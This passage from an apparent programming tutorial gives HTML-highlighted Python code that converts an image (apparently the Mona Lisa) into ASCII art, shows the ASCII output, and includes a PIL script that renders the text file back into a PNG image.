&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Change the size &lt;/span&gt;
size &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #FF6600&quot;&gt;60&lt;/span&gt; &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#[HERE]&lt;/span&gt;
im &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; Image&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;open(img_file)&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;resize([size, size])

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#convert to greyscale&lt;/span&gt;
im2 &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; im&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;convert(mode &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;L&amp;#39;&lt;/span&gt;)

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#convert image to array (flattened) --&amp;gt; reshape &lt;/span&gt;
im4 &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; np&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;array(im2&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;getdata())&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;reshape([size, size])
&lt;span style=&quot;color: #336666&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;Image loaded...&amp;#39;&lt;/span&gt;)

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#ASCII directory&lt;/span&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#Variation 1&lt;/span&gt;
asci &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;  &lt;span style=&quot;color: #CC3300&quot;&gt;r&amp;quot;QG@#$%?*+^)/;:!,&amp;#39;.` &amp;quot;&lt;/span&gt; 

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#Variation 2&lt;/span&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#asci = r&amp;quot;B8&amp;amp;WM#YXQO{}[]()I1i!pao;:,.    &amp;quot;&lt;/span&gt;

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#get the proportion of 256 and replace with an ASCII charecter.&lt;/span&gt;
im7 &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; []
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;for&lt;/span&gt; i &lt;span style=&quot;color: #000000; font-weight: bold&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #336666&quot;&gt;range&lt;/span&gt;(size):
    imtemp &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;for&lt;/span&gt; j &lt;span style=&quot;color: #000000; font-weight: bold&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #336666&quot;&gt;range&lt;/span&gt;(size):
        imtemp&lt;span style=&quot;color: #555555&quot;&gt;+=&lt;/span&gt; asci[(&lt;span style=&quot;color: #336666&quot;&gt;len&lt;/span&gt;(asci)&lt;span style=&quot;color: #555555&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #FF6600&quot;&gt;1&lt;/span&gt;)&lt;span style=&quot;color: #555555&quot;&gt;*&lt;/span&gt;im4[i,j]&lt;span style=&quot;color: #555555&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color: #FF6600&quot;&gt;256&lt;/span&gt;]
    im7&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;append(imtemp)
&lt;span style=&quot;color: #336666&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;Image Converted...&amp;#39;&lt;/span&gt;)
    
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#Ascii Saved in a text file    &lt;/span&gt;
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #336666&quot;&gt;open&lt;/span&gt;(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;Mona_ascii.txt&amp;#39;&lt;/span&gt;, &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;w&amp;#39;&lt;/span&gt;) &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;as&lt;/span&gt; text:
    &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;for&lt;/span&gt; i &lt;span style=&quot;color: #000000; font-weight: bold&quot;&gt;in&lt;/span&gt; im7:
        text&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;write(i)
        text&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;write(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #CC3300; font-weight: bold&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;&lt;/span&gt;)

&lt;span style=&quot;color: #336666&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;Image written to .txt file.&amp;#39;&lt;/span&gt;)
example1 &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;/content/Mona_ascii.txt&amp;quot;&lt;/span&gt;
file1 &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #336666&quot;&gt;open&lt;/span&gt;(example1, &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;r&amp;quot;&lt;/span&gt;)
&lt;span style=&quot;color: #336666&quot;&gt;print&lt;/span&gt;(file1&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;read())
&lt;br&gt;
&lt;pre style=&quot;margin: 0; line-height: 125%; background: #ffffff;&quot;&gt;
&lt;span style=&quot;color: #888888&quot;&gt;&gt;&gt; Image loaded...&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;&gt;&gt; Image Converted...&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;&gt;&gt; Image written to .txt file.&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;***************??**********************???????????????*???*?&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;++++++++++++++++**++++++++++++++++++++++*****+****+++++++++*&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;++++++++++++++++*++++++++++++++++++++++++++++++++++++++++^++&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;+^^+^^+++^^+++++++++++++++^^^^^^++++++^^^++++++++^^^^^^^^^^+&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;^^^^^^^^^^^^^^^^^^^^^^^++^^^^^)^^^^^^^^^^^^^^^^^^^^^^^^^^^^+&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;^)^^^^^^^^^^^^^^^^^^^^^^^^^+****++^^^^^^^^^^^^^^^^^^))^^^))^&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;^)^)))^^)^^^^)))))))))))+?%%$##@##$?+)^)^^^^^^^)^))))))))))^&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;^)))))))))))))))))))))^?%%*?%$$#@@@G@*))))^^^)))))))))))))))&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;^))/))/))))))//))))//)??^)/)^+?$#@GGGG?))))))))))/))))))))/)&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;^)))))//////////////)?*/:!!!:;)*$#@GGGG*/)))/////////))))//)&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;^///)////;//////////*#^;:::!:;)+?$@@GGG@^))))///////////)//)&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;+))))^//;;/;;//;//;^$$);:::::;/)^*$@GGGQ%+++^)))////////)//)&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;?++*++^)))^))/;;;;/?#%//;::;))))^*$@GGGG#??*++^+)///;;/))))+&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;$???++++*+**++/;;;^%#$*+*);**+?%%?%@@GGG@%%?****+/;;;;/))^)+&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;$%****+***??**))+^^$@%))^//+)/^^)^%@@GGG@%%%????*);;///)^^)^&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;%???***?????%%?????$@%;:;;;)/::;)+$@@@GG@%??*????+)//)))^^^^&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;??$%???????%%%%%%$$#@#);;;;^/;;/+?#@@@@G@$%??***++^^^++++++*&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;%%$$?%??????%%%%%$##@@*)//*?^;)^*%#@@@@G@#$$$%%%%????*???%??&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;#$$$%%%%?%?%%%%%%$###@%^)/+*+^)^*%@@@@@G@@$%%%%%%%%??*?%%%?*&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;$$$%%%%%%%%%%%%%%%$#@@@?)/)^+^^*%$@@@@GG@#%%%%%%%%??%%%??%??&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;##$$$%%%%%%%%%%???%#@@@@$);/^*?%$#@@@@GG@@$%%??%%%?%%%???%??&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;##$$$$%%%%$%%%??**?#@@@@@#%%%$$####@@@@G@@#%%%?%%%%%$%?????%&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;##$$#$$%?????**++**$@@@@@@#??$$$$%%$@@GG@G#%%%?%%%%%%%%%%?*?&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;#$$$$%%??????*****?$@@@@@@#+)+***+*?#@G@@G@$%???*****+*???*?&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;$%?????**?%%%$%%%%$#@@@@#$?^)))))))+%####@G@###$%$%++***?%??&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;%%%?%%???%%?%###$$#@@@#$*);;;;;;;;/)?#$$#@@@#$%?*++^+***????&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;%%%%$%??????%#$##$@@@#$^;:::::::::;)?$$$#@@@@#$?^^^+++****??&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;?%?%?%*****%%$%$$#@@#$+;:!!!!:!!::;)?$$$@@#$#@@$?*+^++++++??&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;%%%%%$?*+++*%%?$@@@#?+/:!!!!!!!!::;^?$$$$%??%$@@#%?*+^^))^+*&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;%???%%%$%*+**?$@@@@$);:!!!!!,!!!!:;^?%?*+++?%$@@@@#$%%%*+^^^&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;$????%????**+?@@@@@%^:!!!!!,,,,,,!;^***?%$#@@GGG@@@#$$$%*^^+&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;$%???****++*$@@@@@$%?+^//:!,,,,!!/^*%$#@@@@@GGGG@@@@#%%%%%?*&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;#$%?***?**?#@#@##$%%%%%?*++^))))+?%$@@@@####@GGGG@@@#$%%%??%&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;$##%?******######$$$#$$?????????%$#@G@@#$###@@@@G@@@@#$$$%%%&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;$#@$%%?%%%$##@@@#$####$%??%%%%%$#@GG@@####$%%$$#@@@@@#%??%%%&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;$$#??**?*?$##@@@###@##$$$$$$$%$#@@G@@@@@##%%%$#@G@@@@##$%$$%&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;$$?++++^^?####@@#####@#####$$$#@@@@@@@@@$$%$$@GGG@@####%??%%&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;?%?****+?#########@##@####$$$##@GG@G@@@#$###GGGG@@@####$????&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;%$$$%%%$##@##$#@@@@@@@@####$###@@GGGGG@#@@GGG@GG@@@@@@####$$&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;%$%%%$######$$$#@@@@@@@@#####@@@@@GGGG@@GGGGGGGGGG@@@@###$$%&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;%$$$######$$$$##@@@@@@@@#$$#@@@@@@GGGG@GGGG@@GGGGG@@#@###$$%&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;%$$#######@@#@@@@@G@@@@@###@@@@@@GGGG@GGGGG@@@@GGG@@@@@##$%%&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;%$####@##$$$$#@@@@G@@G@@@@@@@@@GGGGGGGGGGGGGGG@GGGG@@@@@#$%%&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;%$@##@#$$%%%%%$#@@@@@@@@@@@@@GGGGGGGGGGGGGGGGGGGGGGG@@@@@#$%&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;%#@##@#$%??%%%?%?^))^*%#@GGGGGGGGGGGGGGGGGGG@@GGGGG@@@@@@@#$&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;$#@@@@#$%$%%$%$?);:;;//)^*$@GGGGGGGGGGGGGGGG@@GGGGG@@@@@@##$&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;$#@@@@@##$$#$$$?^)/)//////)+?$@GGGQQQGGGGQGGGGGGG@@@@@@@###$&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;$@@@@@G@@@@####$?**+^))/))))/)*$@G@#@@#$$##@GGGGG@$@@@@@@#@#&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;$#GGGGGGG@G@@@@@#$?*+^^)^))+?^)+???*%%%%%%$##@GGG@#@@@@@@@##&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;#@@@GGGGGGGGGG#?*^)+**++^^+^+%%???%$$$%$$$$###GGGGGGGG@@@@#$&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;@@G@GGGGGGGGG@??+^))+??**^^?*+?$$$$$##$%#@#@@@GGQQGGGG@G@@#$&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;@GGG@GGG@@GGG#?**+))+*%%?%*+?%??$##@@@@#@@@@GGGQQQQGGGG@@@#$&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;@GGGGGGGGGG@@#%??+^*%$$##$$$$$#$%@@G@GGGGGGGGGQQQQGGGGG@@@##&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;@GGGGGGGGGGG@@#$?+?########$#@@@@GGGGQQQGGGQQQQQQQGGGGG@@@@@&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;@GGGG@GGGGGGGGG@$%#@@@@@@###@@@GGGGGGGQQQQQQQQQQQQGGGGGG@@@@&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;GGGGGGGGGGGGGGG@@#@@G@@@@@@@GGGGGGGGQQQQQQQQQQQQQQQGGGGGGG@@&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;GGGGGGGGGGGGGGGGGGGGGGGGGGGGQQQQQQQQQQQQQQQQQQQQQQQQGGGGGGG@&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;GGGGGGGGGGGGGGGGGGGGGGGGGGQGQQQQQQQQQQQQQQQQQQQQQQQQGGGGGGGG&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;GGGGGGGGGGGGGGGGGGQGGGGGGQGGQQQQQQQQQQQQQQQQQQQQQQQQQQGGGGGG&lt;/span&gt;
&lt;span style=&quot;color: #888888&quot;&gt;GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGQQQGGGGGQGQQQQQQQQQQQQQQQQQGGG&lt;/span&gt;
&lt;/pre&gt;
&lt;/pre&gt;
&lt;br&gt;

&lt;p&gt;Now, We will Convert Our output text to Image&lt;/p&gt;
&lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;math&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; ceil

&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;PIL&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; (
    Image,
    ImageFont,
    ImageDraw,
)

PIL_GRAYSCALE &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;L&amp;#39;&lt;/span&gt;
PIL_WIDTH_INDEX &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #FF6600&quot;&gt;0&lt;/span&gt;
PIL_HEIGHT_INDEX &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #FF6600&quot;&gt;1&lt;/span&gt;
COMMON_MONO_FONT_FILENAMES &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; [
    &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;DejaVuSansMono.ttf&amp;#39;&lt;/span&gt;,  &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Linux&lt;/span&gt;
    &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;Consolas Mono.ttf&amp;#39;&lt;/span&gt;,   &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# MacOS, I think&lt;/span&gt;
    &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;Consola.ttf&amp;#39;&lt;/span&gt;,         &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Windows, I think&lt;/span&gt;
]

in_put &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;/content/Mona_ascii.txt&amp;quot;&lt;/span&gt;
out_put &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;Mona_text_img.png&amp;quot;&lt;/span&gt;

&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #CC00FF&quot;&gt;main&lt;/span&gt;():
    image &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; textfile_to_image(in_put)
    image&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;show()
    image&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;save(out_put)

&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #CC00FF&quot;&gt;textfile_to_image&lt;/span&gt;(textfile_path):
    &lt;span style=&quot;color: #CC3300; font-style: italic&quot;&gt;&amp;quot;&amp;quot;&amp;quot;Convert text file to a grayscale image.&lt;/span&gt;

&lt;span style=&quot;color: #CC3300; font-style: italic&quot;&gt;    arguments:&lt;/span&gt;
&lt;span style=&quot;color: #CC3300; font-style: italic&quot;&gt;    textfile_path - the content of this file will be converted to an image&lt;/span&gt;
&lt;span style=&quot;color: #CC3300; font-style: italic&quot;&gt;    font_path - path to a font file (for example impact.ttf)&lt;/span&gt;
&lt;span style=&quot;color: #CC3300; font-style: italic&quot;&gt;    &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# parse the file into lines stripped of whitespace on the right side&lt;/span&gt;
    &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #336666&quot;&gt;open&lt;/span&gt;(textfile_path) &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;as&lt;/span&gt; f:
        lines &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #336666&quot;&gt;tuple&lt;/span&gt;(line&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;rstrip() &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;for&lt;/span&gt; line &lt;span style=&quot;color: #000000; font-weight: bold&quot;&gt;in&lt;/span&gt; f&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;readlines())

    &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# choose a font (you can see more detail in the linked library on github)&lt;/span&gt;
    font &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;None&lt;/span&gt;
    large_font &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #FF6600&quot;&gt;20&lt;/span&gt;  &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# get better resolution with larger size&lt;/span&gt;
    &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;for&lt;/span&gt; font_filename &lt;span style=&quot;color: #000000; font-weight: bold&quot;&gt;in&lt;/span&gt; COMMON_MONO_FONT_FILENAMES:
        &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;try&lt;/span&gt;:
            font &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; ImageFont&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;truetype(font_filename, size&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;large_font)
            &lt;span style=&quot;color: #336666&quot;&gt;print&lt;/span&gt;(f&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;Using font &amp;quot;{font_filename}&amp;quot;.&amp;#39;&lt;/span&gt;)
            &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;break&lt;/span&gt;
        &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;except&lt;/span&gt; &lt;span style=&quot;color: #CC0000; font-weight: bold&quot;&gt;IOError&lt;/span&gt;:
            &lt;span style=&quot;color: #336666&quot;&gt;print&lt;/span&gt;(f&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;Could not load font &amp;quot;{font_filename}&amp;quot;.&amp;#39;&lt;/span&gt;)
    &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;if&lt;/span&gt; font &lt;span style=&quot;color: #000000; font-weight: bold&quot;&gt;is&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;None&lt;/span&gt;:
        font &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; ImageFont&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;load_default()
        &lt;span style=&quot;color: #336666&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;Using default font.&amp;#39;&lt;/span&gt;)

    &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# make a sufficiently sized background image based on the combination of font and lines&lt;/span&gt;
    font_points_to_pixels &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;lambda&lt;/span&gt; pt: &lt;span style=&quot;color: #336666&quot;&gt;round&lt;/span&gt;(pt &lt;span style=&quot;color: #555555&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #FF6600&quot;&gt;96.0&lt;/span&gt; &lt;span style=&quot;color: #555555&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #FF6600&quot;&gt;72&lt;/span&gt;)
    margin_pixels &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #FF6600&quot;&gt;20&lt;/span&gt;

    &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# height of the background image&lt;/span&gt;
    tallest_line &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #336666&quot;&gt;max&lt;/span&gt;(lines, key&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;lambda&lt;/span&gt; line: font&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;getsize(line)[PIL_HEIGHT_INDEX])
    max_line_height &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; font_points_to_pixels(font&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;getsize(tallest_line)[PIL_HEIGHT_INDEX])
    realistic_line_height &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; max_line_height &lt;span style=&quot;color: #555555&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #FF6600&quot;&gt;0.8&lt;/span&gt;  &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# apparently it measures a lot of space above visible content&lt;/span&gt;
    image_height &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #336666&quot;&gt;int&lt;/span&gt;(ceil(realistic_line_height &lt;span style=&quot;color: #555555&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #336666&quot;&gt;len&lt;/span&gt;(lines) &lt;span style=&quot;color: #555555&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #FF6600&quot;&gt;2&lt;/span&gt; &lt;span style=&quot;color: #555555&quot;&gt;*&lt;/span&gt; margin_pixels))

    &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# width of the background image&lt;/span&gt;
    widest_line &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #336666&quot;&gt;max&lt;/span&gt;(lines, key&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;lambda&lt;/span&gt; s: font&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;getsize(s)[PIL_WIDTH_INDEX])
    max_line_width &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; font_points_to_pixels(font&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;getsize(widest_line)[PIL_WIDTH_INDEX])
    image_width &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #336666&quot;&gt;int&lt;/span&gt;(ceil(max_line_width &lt;span style=&quot;color: #555555&quot;&gt;+&lt;/span&gt; (&lt;span style=&quot;color: #FF6600&quot;&gt;2&lt;/span&gt; &lt;span style=&quot;color: #555555&quot;&gt;*&lt;/span&gt; margin_pixels)))

    &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# draw the background&lt;/span&gt;
    background_color &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #FF6600&quot;&gt;255&lt;/span&gt;  &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# white&lt;/span&gt;
    image &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; Image&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;new(PIL_GRAYSCALE, (image_width, image_height), color&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;background_color)
    draw &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; ImageDraw&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;Draw(image)

    &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# draw each line of text&lt;/span&gt;
    font_color &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #FF6600&quot;&gt;0&lt;/span&gt;  &lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# black&lt;/span&gt;
    horizontal_position &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; margin_pixels
    &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;for&lt;/span&gt; i, line &lt;span style=&quot;color: #000000; font-weight: bold&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #336666&quot;&gt;enumerate&lt;/span&gt;(lines):
        vertical_position &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #336666&quot;&gt;int&lt;/span&gt;(&lt;span style=&quot;color: #336666&quot;&gt;round&lt;/span&gt;(margin_pixels &lt;span style=&quot;color: #555555&quot;&gt;+&lt;/span&gt; (i &lt;span style=&quot;color: #555555&quot;&gt;*&lt;/span&gt; realistic_line_height)))
        draw&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;text((horizontal_position, vertical_position), line, fill&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;font_color, font&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;font)

    &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;return&lt;/span&gt; image

